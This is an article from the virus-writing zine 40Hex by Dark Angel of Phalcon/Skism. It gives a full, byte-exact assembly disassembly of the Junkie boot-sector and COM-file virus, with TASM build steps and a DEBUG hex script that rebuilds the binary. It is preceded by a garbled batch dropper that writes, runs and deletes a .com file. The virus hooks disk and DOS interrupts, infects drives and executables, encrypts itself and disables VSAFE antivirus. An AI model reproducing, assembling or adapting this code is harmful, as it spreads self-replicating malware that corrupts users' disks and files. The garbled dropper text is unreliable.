@echo A!IAEAB!PQAQD!JAAAaFaDaIaP!A<>IQAQDACABQE!B<>I<EFBFBD>PQAQD<51>N<EFBFBD>O<EFBFBD>KQIQJQK>><3E>.com
|
|||
|
@echo <20>H<EFBFBD>NQF<51>OQDB<>J!A!A1C<31>J<EFBFBD>MAI<41>L<EFBFBD>I<EFBFBD>M!MABD<>D<EFBFBD>KANqEC<>C<EFBFBD>BL<>NqEF<>N<EFBFBD>L>><3E>.com
|
|||
|
@echo <20>F1O<31>K!OaDaPaNNKAAaFaDaIaP!A<>I<EFBFBD>M<EFBFBD>M1C<31>AQJQA<51>H<EFBFBD>I<EFBFBD>D<EFBFBD>E<EFBFBD>L<EFBFBD>I<EFBFBD>L<EFBFBD>L1C<31>A>><3E>.com
|
|||
|
@echo <20>L<EFBFBD>OQAQD<51>PAEAC<41>B<EFBFBD>PAEAB<41>D1O1O<31>K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>><3E>.com
|
|||
|
@echo !O!A<>KNKAA<41>KNKAAaEaFaM!A<>K!OaDaPaNNKAAaJaG!A!F1A!O!A1N1N!A>><3E>.com
|
|||
|
@echo !O!AaBqFqEaPaFqIaFaDNKAA!F1ANK<>PqGG!O<>POGG<>M<EFBFBD>PAGG<>D<EFBFBD>M!O>><3E>.com
|
|||
|
@echo <20>POGG<>D<EFBFBD>EAA<41>M!O<>POCG<>D!G<>DaFFAGQHOOPH<>E1P<31>J<EFBFBD>JaMA<>I>><3E>.com
|
|||
|
@echo <20>F<EFBFBD>P<EFBFBD>M<EFBFBD>OJC<>L<EFBFBD>K<EFBFBD>JaMA<>D<EFBFBD>GQPH<>D<EFBFBD>IqDD<>J<EFBFBD>KA<>JqCANQAQDOG<>IQF<51>K>><3E>.com
|
|||
|
@echo 1D<31>A<EFBFBD>O<EFBFBD>A!G<>FO<>EA<>M<EFBFBD>I!O1LGEGqE1AL<>AqE!M1NAIqH!H!G1LG<>CA>><3E>.com
|
|||
|
@echo qF!A!O1LOCGqEJOP<>JOCG<>DEG!G<>HG<>EA<>LF!G<>MO<>GA<>OG>><3E>.com
|
|||
|
@echo <20>GCHPQLQIQF<51>L<EFBFBD>M<EFBFBD>D<EFBFBD>JEqHAB<41>B<EFBFBD>K<EFBFBD>AAqF1L<31>A<EFBFBD>MCqE1M<31>A<EFBFBD>MDqF1B<31>IQC>><3E>.com
|
|||
|
@echo <20>OQGQBQDQA<51>AB1K<31>IqFI<>JEA<>IAA<41>PqCqKQIQA<51>I!MFC<>BqIqBqEaPQB<51>D>><3E>.com
|
|||
|
@echo <20>JF<>H<EFBFBD>J<EFBFBD>A<EFBFBD>HC<>C<EFBFBD>LQJ<51>A<EFBFBD>MB<>LQFQN!O<>P!OGGQGQBQDQA<51>IH<>O<EFBFBD>L<EFBFBD>D<EFBFBD>AB>><3E>.com
|
|||
|
@echo 1K<31>IqFL<>JEA<>IH<>PqCAB<41>A<EFBFBD>HCQIQAQHQA<51>L<EFBFBD>L<EFBFBD>EAC<>B1MFqCC<>AF<>A>><3E>.com
|
|||
|
@echo <20>JBqFBAI!K<>BqEL<>BI<>D<EFBFBD>A<EFBFBD>L<EFBFBD>I<EFBFBD>I<EFBFBD>D<EFBFBD>L<EFBFBD>L<EFBFBD>PQIQP<51>EA<>BJ!L<>D<EFBFBD>H<EFBFBD>O<EFBFBD>D<EFBFBD>O>><3E>.com
|
|||
|
@echo !L<>GqEJ!NA<>O<EFBFBD>JFA<>I<EFBFBD>E<EFBFBD>OQL<51>K<EFBFBD>DQLQJQOQN<51>P<EFBFBD>AD<>P<EFBFBD>PqGG!O<>POCG>><3E>.com
|
|||
|
@echo <20>M<EFBFBD>PAGG<>D<EFBFBD>JAC!L<>JqJED<>N1D<31>N!G<>JaNF<>E1P<31>KAJ<>I<EFBFBD>L<EFBFBD>O!G<>BAFF>><3E>.com
|
|||
|
@echo 1DN!G!JAFF<>I<EFBFBD>M<EFBFBD>OL<>NqF<71>L!G<>JaNF<>JaMA<>KJC<>I<EFBFBD>L<EFBFBD>OGQHOH<>NC>><3E>.com
|
|||
|
@echo F<>OAB<>P<EFBFBD>AA<>J!AA<>MQA!F<>AAAA<41>KQI!FPAEAB<41>KANqEC<>C<EFBFBD>N<EFBFBD>JGA>><3E>.com
|
|||
|
@echo <20>KJC<>IQP<51>O<EFBFBD>L<EFBFBD>P<EFBFBD>K<EFBFBD>AA!L<>K<EFBFBD>IQF<51>O<EFBFBD>JJA<>KaMC<>IAM<41>OL<>NqF<71>HQPH<>J>><3E>.com
|
|||
|
@echo 1MA<>KqFC<>I1N<31>O<EFBFBD>DGQHQGQAQBQCOQD1D<31>G!O<>A1OKGAqF!K<>I!AC<>N!P>><3E>.com
|
|||
|
@echo qC!D1D<31>L!G<>KN<>IGC<>N!PqCHQLQD!G<>PqFF<>IH<>O<EFBFBD>O1DNQLqEC1D<31>GD>><3E>.com
|
|||
|
@echo <20>O!G<>JQNFQLPQKQJQI<51>I!L<>P!G!JqFFQOQPHQN<51>P!O<>A1OKGAqEF!O<>O>><3E>.com
|
|||
|
@echo OKG<>IC<>PqC<71>MQAQBQCQFQGQHOG<>G<EFBFBD>I!E1F<31>N!BGQD<51>H<EFBFBD>OQD<51>L<EFBFBD>CO<>I!E>><3E>.com
|
|||
|
@echo !FOP<>K<EFBFBD>FD<>I<EFBFBD>O<EFBFBD>NP<>M<EFBFBD>MK<>AqEQL1M!OqF<71>H<EFBFBD>NN!A!A1NaCaBqFAO<41>MM!A>><3E>.com
|
|||
|
@echo 1MqEqFAH<41>I!AC<>N!PqCAA1D<31>L!G<>KN<>IGC<>N!PqC1EQLQD!G<>LaNBL<>NqE>><3E>.com
|
|||
|
@echo !K!G<>GAFCC!G<>LAFN!F<>A<EFBFBD>PNPA!G<>JAFN<>IqH<71>NqED<>I<EFBFBD>J<EFBFBD>O!G<>AANG>><3E>.com
|
|||
|
@echo AA!G<>DaFFA!G<>GAFCAQLQKP<>I!E!F<>IQD<51>NHPQPQOQNQKQJQIQN<51>P<EFBFBD>IqH>><3E>.com
|
|||
|
@echo <20>OQAQDQGOG1M<31>PqE1E<31>E!P<>N!BGP<>A1P<31>PqFD<>D<EFBFBD>DH<>BqPJACABqFP<>A>><3E>.com
|
|||
|
@echo qPLQEqFJ<>BqPN1DNqCC<>KAHH!EP1MPqFJ<>AaHH<>A<EFBFBD>BaPN1DNHP>><3E>.com
|
|||
|
@echo QOQLQIQN<51>P<EFBFBD>B<EFBFBD>LE<>JqFAFQGQHQB<51>OAB<>PAB<>J<EFBFBD>AB!O<>D<EFBFBD>GqFK!O<>OG<>A>><3E>.com
|
|||
|
@echo C!O<>OG<>LFQOQPQJ<51>L!F<>IqC!DQF<51>L<EFBFBD>M<EFBFBD>A<EFBFBD>MBqE<71>I<EFBFBD>A<EFBFBD>MCqE<71>D<EFBFBD>A<EFBFBD>MaCqE<71>F>><3E>.com
|
|||
|
@echo 1NA1NqFD<>J<EFBFBD>O<EFBFBD>O<EFBFBD>A<EFBFBD>M1PqFD<>JqJ<71>OQN<51>K>><3E>.com
|
|||
|
@if %0. == . <20>
|
|||
|
@<40>
|
|||
|
@del <20>.com
|
|||
|
@if %0. == . autoexec
|
|||
|
@%0
|
|||
|
@echo Beware.....PLURG!
|
|||
|
------
|
|||
|
|
|||
|
40Hex Number 14 Volume 5 Issue 1 File 006
|
|||
|
|
|||
|
Junkie virus
|
|||
|
|
|||
|
The Junkie virus is an unremarkable boot sector/COM infector that
|
|||
|
has been making the rounds recently. There isn't really that much
|
|||
|
to say about it, except that it sports a lot of poor coding that
|
|||
|
manages to somehow work despite its shortcomings.
|
|||
|
|
|||
|
Dark Angel
|
|||
|
Phalcon/Skism
|
|||
|
|
|||
|
---------------------------
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
.radix 16
|
|||
|
org 0
|
|||
|
; Junkie virus
|
|||
|
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex #14 Vol 5 Iss 1
|
|||
|
; Byte for byte match when assembled with TASM 2.5
|
|||
|
; To assemble, do the following:
|
|||
|
; tasm /m junkie.asm
|
|||
|
; tlink junkie.obj
|
|||
|
; exe2bin junkie.exe junkie.com
|
|||
|
junkie: mov si,1234 ; if loading from the boot
|
|||
|
org $ - 2 ; sector, loaded at 0:7E00
|
|||
|
decrypt_start dw offset begin_crypt + 100
|
|||
|
mov cx,1F4
|
|||
|
decrypt_loop: xor word ptr es:[si],1234
|
|||
|
org $-2
|
|||
|
cryptval dw 0
|
|||
|
inc si
|
|||
|
inc si
|
|||
|
loop decrypt_loop
|
|||
|
|
|||
|
begin_crypt: mov ax,cs
|
|||
|
cmp ax,0
|
|||
|
je in_boot
|
|||
|
mov di,100
|
|||
|
mov word ptr [di],1234 ; restore original first 4
|
|||
|
org $ - 2 ; bytes to the COM file
|
|||
|
orig4_1 dw 20CDh
|
|||
|
mov word ptr [di+2],1234
|
|||
|
org $ - 2
|
|||
|
orig4_2 dw 0
|
|||
|
push cs di ; push cs:100
|
|||
|
call delta
|
|||
|
delta: pop bx
|
|||
|
sub bx,delta - junkie ; sub bx,27
|
|||
|
mov cl,4
|
|||
|
shr bx,cl
|
|||
|
add ax,bx
|
|||
|
push ax
|
|||
|
mov ax,offset highentry
|
|||
|
push ax
|
|||
|
retf
|
|||
|
|
|||
|
in_boot: mov ds,di
|
|||
|
pop si
|
|||
|
sub word ptr ds:413,3 ; reserve 3K for virus
|
|||
|
mov ax,ds:413
|
|||
|
mov bx,40 ; convert to K
|
|||
|
mul bx
|
|||
|
mov es,ax ; virus segment = es
|
|||
|
mov cx,200 ; move virus up
|
|||
|
cld
|
|||
|
rep movsw
|
|||
|
|
|||
|
cli
|
|||
|
mov di,offset old_i13
|
|||
|
mov si,13*4
|
|||
|
mov ax,offset i13
|
|||
|
call swap_int
|
|||
|
|
|||
|
mov es:check_i21_flag,0
|
|||
|
|
|||
|
mov di,offset old_i1c
|
|||
|
mov si,1c*4
|
|||
|
mov ax,offset i1c
|
|||
|
call swap_int ; timer ticks
|
|||
|
sti
|
|||
|
|
|||
|
mov di,offset old_i21 ; save original int 21
|
|||
|
mov si,21*4 ; handler address
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
pop di ; di = 7C00
|
|||
|
|
|||
|
push cs di es
|
|||
|
mov ax,offset boot_finish
|
|||
|
push ax cs
|
|||
|
pop es
|
|||
|
mov si,7C00 + 200 + BS_first_word - junkie
|
|||
|
movsw ; restore first word
|
|||
|
db 83,0C7h,5E ; add di,5E ; restore original BS code
|
|||
|
call copy_20
|
|||
|
retf ; jmp to boot_finish
|
|||
|
|
|||
|
db 'DrW-3'
|
|||
|
|
|||
|
i13: cmp ax,0201 ; read?
|
|||
|
jnz jmp_i13
|
|||
|
db 83,0F9h,1 ; cmp cx,1 ; boot sector?
|
|||
|
jnz jmp_i13
|
|||
|
db 83,0FAh,0 ; cmp dx,0 ; ditto
|
|||
|
jnz jmp_i13
|
|||
|
push ax bx cx dx di si ds es ; pusha, in a way
|
|||
|
call infect_disk ; if so, infect the disk
|
|||
|
pop es ds si di dx cx bx ax ; popa, of sorts
|
|||
|
jmp_i13: jmp dword ptr cs:old_i13
|
|||
|
|
|||
|
old_i13 dw 0, 0
|
|||
|
|
|||
|
call_i13: pushf
|
|||
|
call dword ptr cs:old_i13
|
|||
|
retn
|
|||
|
|
|||
|
highentry: call uninstall_VSAFE
|
|||
|
push ds es
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov di,offset old_i13 ; get original int 13
|
|||
|
mov si,13*4 ; handler address
|
|||
|
cld
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
jmp short COM_finish
|
|||
|
nop ; Why does this still happen?
|
|||
|
boot_finish: push ds es
|
|||
|
COM_finish: mov dl,80 ; infect the hard drive
|
|||
|
mov ah,2
|
|||
|
call infect_disk
|
|||
|
pop es ds
|
|||
|
xor ax,ax
|
|||
|
xor bx,bx
|
|||
|
retf ; return to carrier
|
|||
|
|
|||
|
infect_disk: push cs
|
|||
|
pop ds
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
call disk
|
|||
|
jc inf_disk_exit
|
|||
|
mov di,offset buffer + 60
|
|||
|
cmp word ptr [si],5EEBh ; check if we're already
|
|||
|
jne not_in_boot_yet ; in the boot sector
|
|||
|
cmp word ptr [di],0FF33 ; xor di,di
|
|||
|
je inf_disk_exit
|
|||
|
not_in_boot_yet:cmp dl,0 ; first disk drive?
|
|||
|
jne hard_disk ; if not, assume hard drive
|
|||
|
cmp byte ptr ds:[buffer+15],0F0 ; else check media byte
|
|||
|
je little_floppy ; to see if it is a 3.5" drive
|
|||
|
cmp byte ptr ds:[buffer+15],0F9h ; 5.25" drive?
|
|||
|
jne inf_disk_exit
|
|||
|
large_floppy: mov cl,8 ; sector 8
|
|||
|
jmp short floppy_disk
|
|||
|
nop ; more NOP's for your money
|
|||
|
little_floppy: mov ax,40
|
|||
|
mov ds,ax
|
|||
|
cmp byte ptr ds:90,97 ; check disk 0 status
|
|||
|
je large_floppy
|
|||
|
mov cl,11 ; write to last sector
|
|||
|
floppy_disk: push cs
|
|||
|
pop ds
|
|||
|
mov ch,4F ; write to last track
|
|||
|
jmp short floppy_setup
|
|||
|
nop ; blah
|
|||
|
|
|||
|
hard_disk: mov cx,4 ; write to slack area on hd
|
|||
|
jmp short write_to_disk
|
|||
|
nop ; #$@*
|
|||
|
|
|||
|
floppy_setup: mov dh,1 ; head 1
|
|||
|
write_to_disk: mov load_cx,cx ; remember where the rest of
|
|||
|
mov load_dx,dx ; junkie will be written to
|
|||
|
push dx cx si di
|
|||
|
mov di,offset BS_first_word ; save old boot sector JMP
|
|||
|
movsw ; construct
|
|||
|
pop si ; si -> buffer+60
|
|||
|
call copy_20 ; save old boot sector code
|
|||
|
mov si,di ; si -> JBS_first_word
|
|||
|
pop di ; di -> buffer
|
|||
|
movsw ; encode our JMP to boot sector
|
|||
|
call add_copy_20 ; write our code there
|
|||
|
|
|||
|
mov ax,301h ; write new BS to the disk
|
|||
|
push ax
|
|||
|
call disk
|
|||
|
|
|||
|
pop ax cx dx
|
|||
|
mov al,2 ; junkie is two sectors long
|
|||
|
mov bx,offset buffer ; write it encrypted to disk
|
|||
|
jc inf_disk_exit
|
|||
|
mov decrypt_start,7E00 + (begin_crypt - junkie)
|
|||
|
call encrypt
|
|||
|
call call_i13
|
|||
|
inf_disk_exit: retn
|
|||
|
|
|||
|
disk: mov cx,1
|
|||
|
mov dh,0
|
|||
|
mov al,1
|
|||
|
mov bx,offset buffer ; read/write to/from our buffer
|
|||
|
mov si,bx
|
|||
|
push dx
|
|||
|
call call_i13
|
|||
|
pop dx
|
|||
|
retn
|
|||
|
|
|||
|
add_copy_20: db 83,0C7h,5E ; add di,5E ; move from first word to
|
|||
|
; our code in boot sector
|
|||
|
copy_20: cld
|
|||
|
mov cx,10
|
|||
|
rep movsw
|
|||
|
retn
|
|||
|
|
|||
|
swap_int: push si
|
|||
|
movsw
|
|||
|
movsw
|
|||
|
pop si
|
|||
|
mov [si],ax
|
|||
|
mov [si+2],es
|
|||
|
retn
|
|||
|
|
|||
|
encrypt: push es ds ax bx cx dx si di
|
|||
|
cld
|
|||
|
xor ax,ax ; get timer count
|
|||
|
int 1Ah
|
|||
|
|
|||
|
xor dx,cx ; more time stuff
|
|||
|
mov bx,dx
|
|||
|
mov ah,2
|
|||
|
int 1Ah
|
|||
|
|
|||
|
mov dl,cl ; to calculate an encryption
|
|||
|
xor bx,dx ; value (this is overkill!)
|
|||
|
mov cryptval,bx
|
|||
|
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov si,offset junkie
|
|||
|
mov di,offset buffer
|
|||
|
mov cx,200
|
|||
|
rep movsw ; copy virus to the buffer
|
|||
|
|
|||
|
mov di,offset buffer ; and encrypt there
|
|||
|
add di,begin_crypt - junkie
|
|||
|
mov cx,(buffer - junkie) / 2; encrypting too much!
|
|||
|
encrypt_loop: xor [di],bx
|
|||
|
inc di
|
|||
|
inc di
|
|||
|
loop encrypt_loop
|
|||
|
|
|||
|
popa_exit: pop di si dx cx bx ax ds es
|
|||
|
retn
|
|||
|
|
|||
|
uninstall_VSAFE:push es ds ax bx cx dx si di
|
|||
|
mov dx,5945 ; uninstall VSAFE/VWATCH
|
|||
|
mov ax,0FA01
|
|||
|
int 16
|
|||
|
jmp short popa_exit
|
|||
|
|
|||
|
i1c: cmp cs:check_i21_flag,1
|
|||
|
je jmp_i1c
|
|||
|
push ds es ax si di
|
|||
|
mov si,21*4
|
|||
|
xor ax,ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,ds:20*4+2 ; get segment of int 20 handler
|
|||
|
cmp ax,800 ; is it too high?
|
|||
|
ja i1c_exit
|
|||
|
cmp ax,0 ; or not set yet?
|
|||
|
je i1c_exit
|
|||
|
cmp [si+2],ax ; is segment of int 21 handler
|
|||
|
jne i1c_exit ; the same?
|
|||
|
cmp ds:27*4+2,ax ; same with int 27 handler
|
|||
|
jne i1c_exit ; i.e. make sure it's dos!
|
|||
|
cli
|
|||
|
mov di,offset old_i21
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov ax,offset i21
|
|||
|
call swap_int
|
|||
|
mov cs:check_i21_flag,1
|
|||
|
sti
|
|||
|
i1c_exit: pop di si ax es ds
|
|||
|
jmp_i1c: jmp dword ptr cs:old_i1c
|
|||
|
|
|||
|
old_i1c dw 0FF53, 0F000
|
|||
|
|
|||
|
i21: cmp ax,4B00 ; infect on: execute,
|
|||
|
jz infect_file
|
|||
|
cmp ah,3Dh ; open,
|
|||
|
jz infect_file
|
|||
|
cmp ah,6C ; extended open
|
|||
|
jz infect_file
|
|||
|
jmp_i21: jmp dword ptr cs:old_i21
|
|||
|
|
|||
|
i24: mov al,3
|
|||
|
iret
|
|||
|
|
|||
|
infect_file: push ax bx cx dx di si ds es
|
|||
|
cmp ah,6Ch ; extended open?
|
|||
|
jne ptr_is_ds_dx
|
|||
|
mov dx,si ; now ds:ds -> filename
|
|||
|
ptr_is_ds_dx: call uninstall_VSAFE
|
|||
|
mov cx,ax
|
|||
|
xor ax,ax
|
|||
|
push ds
|
|||
|
mov ds,ax
|
|||
|
les ax,dword ptr ds:24*4 ; get old crit error handler
|
|||
|
mov word ptr ds:24*4,offset i24
|
|||
|
mov word ptr ds:24*4+2,cs ; replace with ours
|
|||
|
pop ds
|
|||
|
push es ax ; save the old one for later
|
|||
|
|
|||
|
mov ax,3D00 ; open the file read/only
|
|||
|
pushf
|
|||
|
call dword ptr cs:old_i21
|
|||
|
jc infect_file_exit
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov bx,ax
|
|||
|
push bx
|
|||
|
mov ax,1220
|
|||
|
int 2F
|
|||
|
mov ax,1216
|
|||
|
mov bl,es:[di]
|
|||
|
int 2F ; es:di -> sft
|
|||
|
pop bx
|
|||
|
jc close_exit
|
|||
|
|
|||
|
cmp word ptr es:[di+28h],'OC'; infect only *.CO?
|
|||
|
je infect_COM
|
|||
|
jmp short close_exit
|
|||
|
nop ; Yuck!
|
|||
|
infect_COM: push es di
|
|||
|
mov word ptr es:[di+2],2 ; set open mode to read/write
|
|||
|
call infect
|
|||
|
pop di es
|
|||
|
or byte ptr es:[di+6],40 ; preserve file time/date
|
|||
|
|
|||
|
close_exit: mov ah,3Eh ; close file
|
|||
|
int 21
|
|||
|
|
|||
|
infect_file_exit:
|
|||
|
xor si,si
|
|||
|
mov ds,si
|
|||
|
pop ax
|
|||
|
pop es
|
|||
|
mov ds:24*4,ax ; restore int 24 handler
|
|||
|
mov word ptr ds:24*4+2,es
|
|||
|
pop es ds si di dx cx bx ax
|
|||
|
jmp jmp_i21
|
|||
|
|
|||
|
infect: call move_SOF
|
|||
|
mov cx,1Dh ; reading in more than we need!
|
|||
|
mov ah,3F
|
|||
|
mov dx,offset com_header
|
|||
|
int 21
|
|||
|
jc infect_exit
|
|||
|
|
|||
|
call go_EOF
|
|||
|
mov cx,10
|
|||
|
div cx
|
|||
|
db 83,0FAh,3 ; cmp dx,3
|
|||
|
jz infect_exit
|
|||
|
mov cx,[com_header] ; move first four bytes to
|
|||
|
mov dx,[com_header+2] ; the patch area
|
|||
|
mov orig4_1,cx
|
|||
|
mov orig4_2,dx
|
|||
|
call go_EOF
|
|||
|
cmp ax,1000 ; too small?
|
|||
|
jb infect_exit
|
|||
|
cmp ax,0EA60 ; too large?
|
|||
|
ja infect_exit
|
|||
|
call round_paragraph
|
|||
|
push ax
|
|||
|
add ax,100 + offset begin_crypt - offset junkie
|
|||
|
mov decrypt_start,ax
|
|||
|
pop ax
|
|||
|
mov byte ptr com_header,0E9h
|
|||
|
sub ax,3
|
|||
|
mov word ptr com_header+1,ax
|
|||
|
|
|||
|
mov ah,40 ; writing more than we need!
|
|||
|
mov cx,end_junkie - junkie
|
|||
|
mov dx,offset buffer
|
|||
|
call encrypt
|
|||
|
int 21
|
|||
|
jc infect_exit
|
|||
|
|
|||
|
mov al,0 ; go to the start of the file
|
|||
|
call move_SOF
|
|||
|
mov dx,offset com_header ; patch beginning of COM file
|
|||
|
mov cx,4
|
|||
|
mov ah,40
|
|||
|
int 21
|
|||
|
infect_exit: retn
|
|||
|
|
|||
|
round_paragraph:mov ah,al
|
|||
|
mov al,10
|
|||
|
sub al,ah
|
|||
|
and ax,0F
|
|||
|
mov dx,ax
|
|||
|
mov al,1
|
|||
|
jmp short move_fpointer
|
|||
|
nop ; MASM NOP!
|
|||
|
|
|||
|
go_EOF: mov al,2
|
|||
|
move_SOF: xor dx,dx
|
|||
|
move_fpointer: xor cx,cx
|
|||
|
mov ah,42h
|
|||
|
int 21
|
|||
|
retn
|
|||
|
|
|||
|
old_i21 dw 0, 0
|
|||
|
dw 0 ; unused
|
|||
|
check_i21_flag db 1
|
|||
|
|
|||
|
db 0, 'Dr White - Sweden 1994'
|
|||
|
|
|||
|
BS_first_word dw 0
|
|||
|
|
|||
|
old_BS_code db 20 dup (0) ; storage for original boot
|
|||
|
; sector code from offset
|
|||
|
; 60 to 80
|
|||
|
JBS_first_word dw 05EEBh
|
|||
|
|
|||
|
start_Jboot: xor di,di
|
|||
|
mov si,7C00
|
|||
|
cli
|
|||
|
mov sp,si ; set the stack to 7C00:7C00
|
|||
|
mov ss,di
|
|||
|
sti
|
|||
|
mov es,di ; es = 7C00 (junkie work seg)
|
|||
|
mov ax,202h ; read junkie into memory
|
|||
|
mov bx,7C00 + 200 ; starting at 0:7E00
|
|||
|
mov cx,4
|
|||
|
org $ - 2
|
|||
|
load_cx dw 4
|
|||
|
mov dx,80
|
|||
|
org $ - 2
|
|||
|
load_dx dw 80
|
|||
|
push si bx ; push 0:7C00
|
|||
|
int 13
|
|||
|
; the next line loads at offset 7C80 - 3
|
|||
|
jmp $+3+200-80 ; jmp to 7E00 (decryptor)
|
|||
|
end_Jboot: ; ($ - start_Jboot = 20)
|
|||
|
|
|||
|
db 'Junkie Virus - Written in Malmo...M01D'
|
|||
|
|
|||
|
dw -1 ; unused
|
|||
|
|
|||
|
com_header dw 0, 0
|
|||
|
buffer: db 1bh dup (0)
|
|||
|
end_junkie:
|
|||
|
end junkie
|
|||
|
---------------------------
|
|||
|
N junkie.com
|
|||
|
E 0100 BE 0F 01 B9 F4 01 26 81 34 00 00 46 46 E2 F7 8C
|
|||
|
E 0110 C8 3D 00 00 74 21 BF 00 01 C7 05 CD 20 C7 45 02
|
|||
|
E 0120 00 00 0E 57 E8 00 00 5B 83 EB 27 B1 04 D3 EB 03
|
|||
|
E 0130 C3 50 B8 C3 00 50 CB 8E DF 5E 83 2E 13 04 03 A1
|
|||
|
E 0140 13 04 BB 40 00 F7 E3 8E C0 B9 00 02 FC F3 A5 FA
|
|||
|
E 0150 BF B8 00 BE 4C 00 B8 91 00 E8 30 01 26 C6 06 60
|
|||
|
E 0160 03 00 BF 33 02 BE 70 00 B8 EA 01 E8 1E 01 FB BF
|
|||
|
E 0170 5A 03 BE 84 00 A5 A5 5F 0E 57 06 B8 DA 00 50 0E
|
|||
|
E 0180 07 BE 78 81 A5 83 C7 5E E8 FA 00 CB 44 72 57 2D
|
|||
|
E 0190 33 3D 01 02 75 1D 83 F9 01 75 18 83 FA 00 75 13
|
|||
|
E 01A0 50 53 51 52 57 56 1E 06 E8 3F 00 07 1F 5E 5F 5A
|
|||
|
E 01B0 59 5B 58 2E FF 2E B8 00 00 00 00 00 9C 2E FF 1E
|
|||
|
E 01C0 B8 00 C3 E8 12 01 1E 06 33 C0 8E D8 0E 07 BF B8
|
|||
|
E 01D0 00 BE 4C 00 FC A5 A5 EB 03 90 1E 06 B2 80 B4 02
|
|||
|
E 01E0 E8 07 00 07 1F 33 C0 33 DB CB 0E 1F 0E 07 E8 7F
|
|||
|
E 01F0 00 72 7C BF 48 04 81 3C EB 5E 75 06 81 3D 33 FF
|
|||
|
E 0200 74 6D 80 FA 00 75 28 80 3E FD 03 F0 74 0C 80 3E
|
|||
|
E 0210 FD 03 F9 75 5A B1 08 EB 0F 90 B8 40 00 8E D8 80
|
|||
|
E 0220 3E 90 00 97 74 EF B1 11 0E 1F B5 4F EB 07 90 B9
|
|||
|
E 0230 04 00 EB 03 90 B6 01 89 0E B0 03 89 16 B3 03 52
|
|||
|
E 0240 51 56 57 BF 78 03 A5 5E E8 3A 00 8B F7 5F A5 E8
|
|||
|
E 0250 30 00 B8 01 03 50 E8 17 00 58 59 5A B0 02 BB E8
|
|||
|
E 0260 03 72 0C C7 06 01 00 0F 7E E8 2A 00 E8 4D FF C3
|
|||
|
E 0270 B9 01 00 B6 00 B0 01 BB E8 03 8B F3 52 E8 3C FF
|
|||
|
E 0280 5A C3 83 C7 5E FC B9 10 00 F3 A5 C3 56 A5 A5 5E
|
|||
|
E 0290 89 04 8C 44 02 C3 06 1E 50 53 51 52 56 57 FC 33
|
|||
|
E 02A0 C0 CD 1A 33 D1 8B DA B4 02 CD 1A 8A D1 33 DA 89
|
|||
|
E 02B0 1E 09 00 0E 07 BE 00 00 BF E8 03 B9 00 02 F3 A5
|
|||
|
E 02C0 BF E8 03 83 C7 0F B9 F4 01 31 1D 47 47 E2 FA 5F
|
|||
|
E 02D0 5E 5A 59 5B 58 1F 07 C3 06 1E 50 53 51 52 56 57
|
|||
|
E 02E0 BA 45 59 B8 01 FA CD 16 EB E5 2E 80 3E 60 03 01
|
|||
|
E 02F0 74 3C 1E 06 50 56 57 BE 84 00 33 C0 8E D8 A1 82
|
|||
|
E 0300 00 3D 00 08 77 23 3D 00 00 74 1E 39 44 02 75 19
|
|||
|
E 0310 39 06 9E 00 75 13 FA BF 5A 03 0E 07 B8 37 02 E8
|
|||
|
E 0320 6A FF 2E C6 06 60 03 01 FB 5F 5E 58 07 1F 2E FF
|
|||
|
E 0330 2E 33 02 53 FF 00 F0 3D 00 4B 74 12 80 FC 3D 74
|
|||
|
E 0340 0D 80 FC 6C 74 08 2E FF 2E 5A 03 B0 03 CF 50 53
|
|||
|
E 0350 51 52 57 56 1E 06 80 FC 6C 75 02 8B D6 E8 78 FF
|
|||
|
E 0360 8B C8 33 C0 1E 8E D8 C4 06 90 00 C7 06 90 00 4B
|
|||
|
E 0370 02 8C 0E 92 00 1F 06 50 B8 00 3D 9C 2E FF 1E 5A
|
|||
|
E 0380 03 72 36 0E 1F 8B D8 53 B8 20 12 CD 2F B8 16 12
|
|||
|
E 0390 26 8A 1D CD 2F 5B 72 1D 26 81 7D 28 43 4F 74 03
|
|||
|
E 03A0 EB 13 90 06 57 26 C7 45 02 02 00 E8 23 00 5F 07
|
|||
|
E 03B0 26 80 4D 06 40 B4 3E CD 21 33 F6 8E DE 58 07 A3
|
|||
|
E 03C0 90 00 8C 06 92 00 07 1F 5E 5F 5A 59 5B 58 E9 75
|
|||
|
E 03D0 FF E8 7D 00 B9 1D 00 B4 3F BA E4 03 CD 21 72 5E
|
|||
|
E 03E0 E8 6C 00 B9 10 00 F7 F1 83 FA 03 74 51 8B 0E E4
|
|||
|
E 03F0 03 8B 16 E6 03 89 0E 1B 00 89 16 20 00 E8 4F 00
|
|||
|
E 0400 3D 00 10 72 39 3D 60 EA 77 34 E8 32 00 50 05 0F
|
|||
|
E 0410 01 A3 01 00 58 C6 06 E4 03 E9 2D 03 00 A3 E5 03
|
|||
|
E 0420 B4 40 B9 03 04 BA E8 03 E8 6B FE CD 21 72 0F B0
|
|||
|
E 0430 00 E8 1D 00 BA E4 03 B9 04 00 B4 40 CD 21 C3 8A
|
|||
|
E 0440 E0 B0 10 2A C4 25 0F 00 8B D0 B0 01 EB 05 90 B0
|
|||
|
E 0450 02 33 D2 33 C9 B4 42 CD 21 C3 00 00 00 00 00 00
|
|||
|
E 0460 01 00 44 72 20 57 68 69 74 65 20 2D 20 53 77 65
|
|||
|
E 0470 64 65 6E 20 31 39 39 34 00 00 00 00 00 00 00 00
|
|||
|
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0490 00 00 00 00 00 00 00 00 00 00 EB 5E 33 FF BE 00
|
|||
|
E 04A0 7C FA 8B E6 8E D7 FB 8E C7 B8 02 02 BB 00 7E B9
|
|||
|
E 04B0 04 00 BA 80 00 56 53 CD 13 E9 80 01 4A 75 6E 6B
|
|||
|
E 04C0 69 65 20 56 69 72 75 73 20 2D 20 57 72 69 74 74
|
|||
|
E 04D0 65 6E 20 69 6E 20 4D 61 6C 6D 6F 2E 2E 2E 4D 30
|
|||
|
E 04E0 31 44 FF FF 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
